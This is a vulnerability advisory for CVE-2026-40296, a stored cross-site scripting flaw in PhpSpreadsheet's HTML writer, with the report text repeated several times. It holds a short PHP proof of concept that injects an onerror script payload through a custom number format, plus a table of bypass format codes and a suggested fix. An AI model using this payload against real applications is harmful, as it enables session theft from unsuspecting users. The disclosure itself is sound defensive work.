CVE-2026-40296

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

| Format Code | Result | Escaped? | |---|---|---| | General (default) | Original value | YES (safe) | | . @ | . + value | NO (XSS!) | | @ (trailing space) | value + | NO (XSS!) | | x@ | x + value | NO (XSS!) |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

| Format Code | Result | Escaped? | |---|---|---| | General (default) | Original value | YES (safe) | | . @ | . + value | NO (XSS!) | | @ (trailing space) | value + | NO (XSS!) | | x@ | x + value | NO (XSS!) |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani

TuxCare rebuilt phpoffice/phpspreadsheet to address 5 CVEs. Fixed in 4.5.0-p2+tuxcare.